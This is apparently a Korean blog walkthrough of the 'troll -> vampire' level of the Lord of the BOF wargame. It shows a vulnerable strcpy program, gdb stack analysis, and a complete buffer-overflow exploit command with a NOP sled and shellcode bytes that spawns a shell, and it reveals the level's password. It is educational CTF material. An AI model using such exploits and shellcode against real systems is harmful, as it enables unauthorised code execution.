/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer);
}

 

이번 문제는 argv[1]에서 47번째 값이 \xff가 이면 프로그램이 종료된다. 우리는 0xbfff____ 영역에서 RET에 overwrite 하고 shellcode를 삽입했다. 스택은 높은 addrress에서 낮은 address로 쌓이므로 0xbffe____ 영역에서 shellcode를 삽입하고 이 주소를 RET에 overwrite 하면 된다. 

 

만약 argv[2]에 엄청 큰 값을 입력하면 argv[2]의 주소는 엄청 낮은 address 주소에 위치할 것이다. 필자는 argv[2] 값에 NOP*10만개 + shellcode를 삽입해서 RET에 argv[2]의 주소를 overwrite 할 것이다.

 

gdb 분석을 위해 vampire 바이너리 파일을 copy 한 다음 argv[2]의 주소를 찾기 위해 gdb로 분석해보자.

main+127이에서 argv[1]의 주소를 PUSH 하므로, main+128에서 breakpoint를 걸어준다. 그 다음 argv[2]에 \x90 값을 10만개 주고 추가적으로 shellcode를 합쳐 실행하면 main+128에서 멈춘다. 그때의 스택을 보면 0xbffe76fd이 argv[1]의 주소이다. 0xbffe76fd 부터 스택을 보면 0xbffe773d가 argv[2]의 주소임을 알수 있다.

 

(gdb) disas main
Dump of assembler code for function main:
...
0x80484aa <main+122>:   add    $0x4,%eax
0x80484ad <main+125>:   mov    (%eax),%edx
0x80484af <main+127>:   push   %edx
0x80484b0 <main+128>:   lea    0xffffffd8(%ebp),%eax
0x80484b3 <main+131>:   push   %eax
0x80484b4 <main+132>:   call   0x8048370 <strcpy>
0x80484b9 <main+137>:   add    $0x8,%esp
0x80484bc <main+140>:   lea    0xffffffd8(%ebp),%eax
...
(gdb) 
(gdb) b *main+128
Breakpoint 1 at 0x80484b0

(gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
Starting program: /home/troll/vampire_copy `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

Breakpoint 1, 0x80484b0 in main ()
(gdb) x/wx $esp
0xbffe756c:     0xbffe76fd
(gdb) x/150wx 0xbffe76fd
0xbffe76fd:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffe770d:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffe771d:     0x41414141      0x41414141      0x41414141      0xbf414141
0xbffe772d:     0x90909000      0x90909090      0x90909090      0x90909090
0xbffe773d:     0x90909090      0x90909090      0x90909090      0x90909090
...
(gdb) 

 

argv[2]의 주소를 알아냈으니 RET에 argv[2]의 주소를 overwrite 해보겠다. 실행할 파일을 원본 파일인 vampire에 인자를 넘겨 실행하면 아래 처럼 shell을 획득한 것을 볼 수 있다.

[troll@localhost troll]$ ./vampire `python -c 'print "A"*44+"\x3d\x77\xfe\xbf"'` `python -c 'print "\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=w
bash$ whoami
vampire
bash$ my-pass
euid = 509
music world
bash$ 

 

'CTF > LOB' 카테고리의 다른 글

[LOB] - giant -> assassin 풀이  (0) 2019.10.06
[LOB] - darkknight -> bugbear 풀이  (0) 2019.10.06
[LOB] - troll -> vampire 풀이  (0) 2019.10.05
[LOB] - orge -> troll 풀이  (0) 2019.10.05
[LOB] - darkelf -> orge 풀이  (0) 2019.10.05
[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04